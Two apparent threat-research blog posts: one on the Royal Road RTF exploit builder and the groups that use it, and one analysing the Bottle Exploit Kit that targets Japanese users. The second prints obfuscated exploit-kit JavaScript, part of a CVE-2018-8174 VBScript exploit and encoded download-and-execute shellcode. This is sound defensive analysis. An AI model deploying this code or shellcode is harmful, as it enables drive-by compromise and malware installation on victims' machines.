An Overhead View of the Royal Road


Several targeted attack groups share the tools used in the attack and are reported to be doing similar attacks. Attack tools are also shared in attacks targeting Japanese organizations, for example, Tick. Tick may use a tool called Royal Road RTF Weaponizer. And Royal Road is used by targeted attack groups such as Goblin Panda and Temp.Trident that is suspected of being involved in China.

In this blog, we will focus on the Royal Road, and introduce the features of the tool, such as the outline of the tool, its behavior, and the exploited vulnerability. Next, the targeted attack groups that use the Royal Road are listed, and each attack case is shown in detail. We have collected over 100 malicious documents from 2018 and investigated malware that is deployed and downloaded from there. Even in groups using the same Royal Road, we attributed them based on the target country/organization, the technique used for the attack, the malware executed, etc.

There are a wide variety of countries/organizations targeted for attack, mainly in Asia. Such information has been published by researchers all over the world, but it’s not widely known that Royal Road is used in Tick attacks targeting Japanese organizations. Attacks using Royal Road are still active in 2019. Share analysis results of malicious documents and malware based on the cases we observed. Other targeted attack groups may be related to Royal Road. We introduce the attack cases of these attack groups and show their relevance.

Finally, we show the hunting technique using the characteristics of RTF files using Royal Road and the techniques that are preferred by targeted attack groups that use them. This blog will help researchers who are researching and analyzing targeted attacks and CSIRT/SOC members to understand the attacks and take countermeasures.


Royal Road

Royal Road is RTF weaponizer that named by Anomali. Sometimes called “8.t RTF exploit builder”. This tool is not OSS, However it’s shared between multiple actors.

We define the RTFs generated by RoyalRoad is supposed to satisfy the following two conditions:

  1. Exploit the vulnerability in the Equation Editor
  2. Have an object named 8.t in the RTF

Royal Road behaves as follows.

  1. RTF create a file (8.t) using ActiveX Control “Package” when opening a document

  2. All Vulnerabilities used by exploit coed are based on Equation Editor.
    • CVE-2017-11882
    • CVE-2018-0798
    • CVE-2018-0802
  3. It decode 8.t, execute malware, dll-sideloading, etc

Classification v1-v5 defined by Proofpoint and Anomali published at VB2019. We are doing more research about RTF Object. RTF analysis showed that there was a special byte sequence immediately before the shellcode. We called that an object pattern. 8.t encoding is not distinguished by version. It’s considered an actor distinction rather than a tool distinction.

About v3, RTF including 8.t could not be found in our survey, so we define this as RoyalRoad-related, not RoyalRoad.

New version definitions for v6 and later. The object string has changed a little since v5, but it is basically the same. v7 has a very different object string. v7 object pattern is same as v4-v6, but part ofobject data exists randomly.

For attribution


Here are the actors that have been confirmed to use RoyalRoad. It is considered that China’s involvement is suspected.

These are tables summarizing each actor’s characteristics. We categorize these actors into three groups.


Group-A is targeting Southeast Asia. Periscope and Conimes ware active at the same time and share the same techniques. Conimes and Rancor ware also active at the same time and share some techniques. We believe these groups are close and may share tools and insights.

Group-B is including Trident, Tick, TA428 and Tonto. These are actors targeting East Asia, especially Russia, Korea and Japan. Tick, TA428 and Tonto may use the same technique. Especially Tick and Tonto are very similar. We believe that Group-B actors are very close and share techniques and insights.


The RTF file created using the Royal Road exploits a vulnerability in the equation editor. The RTF file has a various of characteristics that help with attribution. There are many actors who use Royal Road. We can divide them into three groups and suppose connections between actors.


Appendix-1: IOC

Appendix-2: Tool

Full report is here: [PDF (EN)]

Say hello to Bottle Exploit Kit targeting Japan


On December 11, 2019, we were strolling through ad-networks. As before, we observed RIG, Fallout and Underminer Exploit Kit, but observed other interesting Drive-by Download attack. We call it “Bottle Exploit Kit”. BottleEK targets only Japanese users. According to our research, BottleEK has been active at least in September 2019. This time we introduce BottleEK.

Sample traffic data is here.


We have confirmed that we are redirected to BottleEK by malvertising. When you are redirected from ad-network to BottleEK, the landing page html is loaded first. The landing page loads two JavaScipt files.

<!doctype html>
<html lang="ja">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
<link href="file/style.css" rel="stylesheet" type="text/css"/>
<body style="background-color: #F4F4F4;font-family:MS PGothic,Arial,Hiragino Kaku Gothic ProN,Osaka,sans-serif">
<div id="main" class="main"></div>
<script type="text/javascript" src="file/ajax.min.js"></script>
<script type="text/javascript" src="file/main.js"></script>

“ajax.min.js” is a JavaScript file for communication. It is used once to get the exploit code URL. Since it’s not important, we will omit it this time. Please remember only this code.

function e() {
    var b = document.createElement("script"),
        c = (new Date).getTime() + Math.round(1e3 * Math.random()),
        d = "JSONP_" + c;
    a[d] = function (a) {
        clearTimeout(s), document.body.removeChild(b), q(a)
    }, b.src = h + (h.indexOf("?") > -1 ? "&" : "?") + "callback=" + d, b.type = "text/javascript", document.body.appendChild(b), f(d, b)

Next, let’s read “main.js”. This file contains obfuscation, debug detection and environment detection. Reading everything is not easy… First, a large array is defined. This looks like a Base64 string, but base64_decode doesn’t make any meaningful data. To decrypt this, you need to read two processes.

var _0x1d5a = ['bsK+BcOlwpXCmg==', 'OsKhwoIKb8OOwrHDsMOvEcOHw4Fn', 'ZMKfw6Fqw5R0', 'T1xqw70=', ...

The first process is to swap the order of the arrays. This is code like this:

var _0x5906e4 = function (_0x35d916) {
    while (--_0x35d916) {

/* --- Snip --- */

var _0x29fbca = {
    'getCookie': function (_0xa8b74, _0x1731ce) {
        _0xa8b74 = _0xa8b74 || function (_0x1e7379) {
            return _0x1e7379;
        var _0x36cf86 = _0xa8b74(new RegExp('(?:^|;\x20)' + _0x1731ce['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
        var _0x3ff1ff = function (_0xf3a699, _0x2d4894) {
        _0x3ff1ff(_0x5906e4, _0x3c6c93);
        return _0x36cf86 ? decodeURIComponent(_0x36cf86[0x1]) : undefined;

_0x29fbca['getCookie'](null, 'counter');

Next, the array data with the order changed is decoded. This is the code for decryption. A combination of Base64, URL Encode and RC4.

var decode = function (enc_data, key) {
    var a = [],
        b = 0,
        c, d = '',
        e = '';

    enc_data = atob(enc_data);
    for (var i = 0, length = enc_data['length']; i < length; i++) {
        e += '%' + ('00' + enc_data['charCodeAt'](i)['toString'](16))['slice'](-2);
    enc_data = decodeURIComponent(e);
    for (var i = 0; i < 256; i++) {
        a[i] = i;

    /* RC4 */
    for (i = 0; i < 256; i++) {
        b = (b + a[i] + key['charCodeAt'](i % key['length'])) % 256;
        c = a[i];
        a[i] = a[b];
        a[b] = c;

    i = 0;
    b = 0;
    for (var j = 0; j < enc_data['length']; j++) {
        i = (i + 1) % 256;
        b = (b + a[i]) % 256;
        c = a[i];
        a[i] = a[b];
        a[b] = c;
        d += String['fromCharCode'](enc_data['charCodeAt'](j) ^ a[(a[i] + a[b]) % 256]);

    return d;

This decrypts the array data and executes the main process.

First, check that username is set in the cookie. If it is set, processing ends. If not, set cookie username=bingv and the attack will continue.

var user = getCookie('username');
if (user == '') {
    setCookie('username', 'bingv', 0x1);

Next, check user environment. This is one of the most characteristic codes of the Bottle Exploit Kit.

var chk = checkEnv();

checkEnv gets the browser language setting. If it is not Japanese, display a dummy html and end.

function checkEnv() {
    var _0x4db42a = (navigator['language'] || navigator['browserLanguage'])['toLowerCase']();
    if (_0x4db42a['indexOf']('ja') == -0x1) return 0x0;
document['getElementById']('main')['innerHTML'] = "<h1>Customer Login</h1><form><input type='text'value='User'><input type='password'><input type='submit'value='Submit'></form>";

And, browser information is acquired by User-Agent. If it is not Internet Explorer, display a dummy html and end in the same way.

var _0x100f15 = navigator['userAgent'];
var _0xed2c96 = _0x100f15['indexOf']('compatible') > -0x1 && _0x100f15['indexOf']('MSIE') > -0x1;
var _0x4d34a9 = _0x100f15['indexOf']('Trident') > -0x1 && _0x100f15['indexOf']('rv:11.0') > -0x1;
if (_0xed2c96) {
    if (_0x2956('0x43', '^eQ7') !== _0x2956('0x44', '[email protected]%$')) {
        var _0x41dde8 = new RegExp("MSIE (\d+\.\d+);");
        var _0x50d3cb = parseFloat(RegExp['$1']);
        return _0x50d3cb;
    } else {
        _0x53ccba(this, function () {
            var _0x2e6966 = new RegExp("function *\( *\)");
            var _0xdc7ac8 = new RegExp("\+\+ *(?:_0x(?:[a-f0-9]){4,6}|(?:\b|\d)[a-z0-9]{1,4}(?:\b|\d))", 'i');
            var _0x4fc827 = _0x118083('init');
            if (!_0x2e6966['test'](_0x4fc827 + 'chain') || !_0xdc7ac8['test'](_0x4fc827 + 'input')) {
            } else {

If these checks are passed, the image is displayed. The 1.gif used at this time is an image of the bottle. The str1 displayed below the image is Japanese.

var str1 = '読み込み中。 。 。 お待ちください&nbsp;&nbsp;&nbsp;&nbsp;';

/* --- Snip --- */

if (chk > 0x0) {
    var myimg = document['createElement']('img');
    myimg['setAttribute']('id', 'ldimg');
    myimg['setAttribute']('style', 'position:absolute;width:40%;left:30%;height:40%; top:20%; z-index: 10;display:inline');
    myimg['setAttribute']('src', 'file/1.gif');
    var myp = document['createElement']('p');
    myp['setAttribute']('id', 'ldpr');
    myp['setAttribute']('style', 'font-size:30px; position:absolute; left:5%; text-align:center; height:10%; top:60%; width:90%; z-index:10;');
    for (var i = 0x0; i <= LOAD_SECOND; i++) {
        var progress = Math['round'](i * 0x64 / LOAD_SECOND);
        (function (_0x368e63) {
            setTimeout(function () {
                change_progress(_0x368e63, str1);
            }, i * 0x3e8);

And it gets the exploit code. Three parameters are used at that time.

  1. Internet Explorer version
  2. is 64bit
  3. Adobe Flash Player version
var is64 = 0x0;
if (navigator['platform']['indexOf']('64') != -0x1) is64 = 0x1;
var fls = flashChecker();
    'type': 'GET',
    'dataType': 'jsonp',
    'timeOut': 0x2710,
    'url': '/conn.php?callback=?',
    'data': {
        'data1': chk,
        'data2': is64,
        'data3': fls['v']

When send this request, use the ajax.min.js you read earlier. Therefore, callback is added at the end.

function e() {
    var b = document.createElement("script"),
        c = (new Date).getTime() + Math.round(1e3 * Math.random()),
        d = "JSONP_" + c;
    a[d] = function (a) {
        clearTimeout(s), document.body.removeChild(b), q(a)
    }, b.src = h + (h.indexOf("?") > -1 ? "&" : "?") + "callback=" + d, b.type = "text/javascript", document.body.appendChild(b), f(d, b)

If successful, read the exploit code using the response data. When exploiting the vulnerability of Internet Explorer, read file/vbs.vbs, and when exploiting the vulnerability of Adobe Flash Player, read file/swf.swf.

'success': function (_0x2ad29a) {
    if (_0x2ad29a[0x1] != '') {
        if (_0x2956('0x69', '904!') !== _0x2956('0x6a', 'mNBB')) {
            var _0x5517a0 = document['createElement']('embed');
            _0x5517a0['src'] = _0x2ad29a[0x1];
            _0x5517a0['setAttribute']('style', 'width:1px; height:1px');
        } else {
            var _0x33b1ee = cname + '=';
            var _0x3a1f81 = document['cookie']['split'](';');
            for (var _0x2e7aac = 0x0; _0x2e7aac < _0x3a1f81['length']; _0x2e7aac++) {
                var _0x446c09 = _0x3a1f81[_0x2e7aac];
                while (_0x446c09['charAt'](0x0) == ' ') _0x446c09 = _0x446c09['substring'](0x1);
                if (_0x446c09['indexOf'](_0x33b1ee) != -0x1) return _0x446c09['substring'](_0x33b1ee['length'], _0x446c09['length']);
            return '';
    } else if (_0x2ad29a[0x0] != '') {
        var _0x5a39f4 = document['createElement']('script');
        _0x5a39f4['type'] = 'text/vbscript';
        _0x5a39f4['src'] = _0x2ad29a[0x0];

vbs.vbs exploits CVE-2018-8174 and swf.swf exploits CVE-2018-15982.


vbs.vbs is a simple string encoding. Decoding this will give you almost the same code as the PoC.

Sub StartExploit
SetMemValue GetShellcode()
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
SetMemValue ExpandWithVirtualProtect(lIlll)
End Sub

This is the shellcode that is running.

Function GetShellcode()
IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%u4cbf%u73d0%udb2c%ud9c5%u2474%u5bf4%uc92b%uc3b1%u7b31%u0313%u137b%uc383%u3248%uc586%ub3ff%u1669%u129b%u1659%u5563%ud61f%u581b%u9794%ue9d7%u03ea%ued6c%u2b61%uaef9%uef65%ueece%ue36d%u2f59%ufcf2%uaf99%u42fa%uac50%uf9c5%ub9e8%u3441%u5399%u928a%u40ea%uf18e%uabfc%ub143%u91b1%uc263%u73c0%ua49c%u7ceb%u2d28%u4338%uee19%u04b5%uc8a6%ub29d%u5eaa%u48ee%ua716%u7468%ua355%u8963%uc79e%u923b%u5373%u8ee3%ue825%uef63%uae42%uec9b%u2c9b%uf16c%u7bfc%ubb1b%uf5f2%ub84e%u407a%u7b84%u3dbf%uf727%u3e7a%u132c%ubd03%uf4e5%u3d85%ufaf6%u84a1%u7100%uf9db%u8555%u4068%u4ea9%ubf2a%u5223%u1b5f%ue940%u64ac%u57cd%u1051%udcdd%u5fad%u25de%u08fd%ufc1f%u5df2%uf0d3%ua6bd%u85a8%u568f%u9ea5%u948e%u177e%u62d5%u6d0b%ucc2e%ua750%ua40d%udbed%uafc3%u23f1%u2fe4%u0ea9%u3bf4%u5177%u067d%uda7b%u7538%u1e4a%u0e97%u22a0%u1df4%u736b%uf652%u8450%uf9a3%u8bed%uc0dd%u7e05%ucce0%u860d%u32e3%u0232%ua7c3%ueacc%ubcc2%ufc37%u3c02%u0238%u3d04%uf9b0%uc72c%u1cd4%u37d0%ua2db%ud8ea%uebae%u89da%ub539%ud51e%ub3e9%ud55a%u8284%u7550%u5c69%ufc9d%u99d0%ub810%u099a%u13d4%u551e%u151c%u5d5b%u539e%u756b%u6290%u7a94%uadac%uc3e3%u2d5b%ud385%u35b3%u1b97%u49bc%u6f51%u4a3e%u1962%u3bcd%ufeda%uef25%u011c%uef4a%u75d6%ue8c8%ufce9%u8023%u0d53%u56ac%uf2a5%ua8d3%u866f%ua351%uee70%uc2bd%u1fc8%u6056%ue02a%u7659%u94e4%u765d%ub77e%ucf28%u2f6a%u2e8f%u506d%uf82f%ue918%ufacc%ud66c%u9c04%ue96e%u622a%u9fb8%ubd93%ue93b%u563f%ue848%u59bf%ud1cd%uf900%u9f58%u5ba4%ue901%u8b66%u169f%ub397%ue836%u4c68%ubcc8%ua0e3%ud249%u39b4%u2b49%u6c66%uc31e%u6e75%uec5f%u7b39%u2d8a%u0946%u5680%u54cb%u6b20%u0608%udfe3%ue269%u88cb%u9901%u8fbb%uadaf%u3f01%u5e1f%u7ab2%uec8f%uf355%ud601%u2fe0%ub634%uaa9e%u0300%u5986%ue7ea%u6545%u2bb1%u1ad0%ub714%u98e5%u5888%u0d84%u602a%ub613%u00c3%u18f5%u98db%u15e1%u528b%u12ce%u7f0e%uf857%u4eac%u5f1f%u4f3f%u7c49%ue640%u4155%u0709%ub995%u0200%u79fd%u3f2c%u86fd%u64e7%u0c16%u6160%uede9%ue470%u2d6c%u098e%ufe91%ub0e2%uaf26%u6a03%uc2b0%u67b9%u5190%u48c4%u95ee%u1838%u2fc9%uea33%ucca3%ucad3%ueb0e%ua64b%u25e4%u0d53%u5ff8%ueb23%u5f00%uff85%ucde8%uffd4%u7c17%uc865%ub8e4%u4127%u82af%u0137%u583f%u2f9b%u9eba%ucfe5%u4e3b%u7597%u3f0b%u302c%u934f%uebcd%u915b%u78f2%uf169%u8b4a%u016d%uda54%uea49%ub067%u691c%uc9b7%u8de1%uc968%u6a4b%u6bd6%u4328%u5f2b%ueb9a%ufa15%u135a%u8446%u4bf2%u3644%uf808%u2d83%ua621%u871f%u46da%u4625%u4dd5%uae62%u62cf%u23b9%u8f5f%u0d88%u0f0c%uce77%u67c1%u4614%u0844%u868d%u84e2%ud721%u3dbd%ubed4%udb2f%u6f5c%u4fcb%u6ff1%ue246%u1d65%u6c07%ub958%u1cbb%u15a4%u9006%u95f4" &lIIII(IIIII("")))
IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
End Function


swf.swf is almost the same as PoC.

   import com.adobe.tvsdk.mediacore.metadata.Metadata;
   import flash.display.Sprite;
   import flash.system.Capabilities;
   import flash.utils.ByteArray;
   import flash.utils.Endian;
   public class Main extends Sprite

The executed shellcode is the same as CVE-2018-8174.


The shellcode downloads and executes malware just like other EKs. The malware is not encrypted.

The shellcode was encoded by Shikata Ga Nai Encoder.

The decoded shellcode is a simple code that downloads and executes a malwre. The list of APIs to use is as follows:

The API hashing algorithm is imul83hAdd.

Interestingly, the URL string of the download destination was created as a mutex.

The malware is created as svchost.exe in% temp% and then executed with the WinExe function.


The malware is probably unique. We have never seen this elsewhere. According to my friend @VK_Intel, this could be a stealer targeting Japan.

These are the characteristics of this malware.


Bottle Exploit Kit is an exploit kit targeting Japan. It’s not as sophisticated as the Exploit Kit, but JavaScript is elaborate. It has been observed for at least three months ago, and its activity continues today. The vulnerabilities it exploits are the same as other EKs. The same should be noted. Keep an eye on trend of it.

Many people helped with our research. Special thanks to @kafeine and @VK_Intel.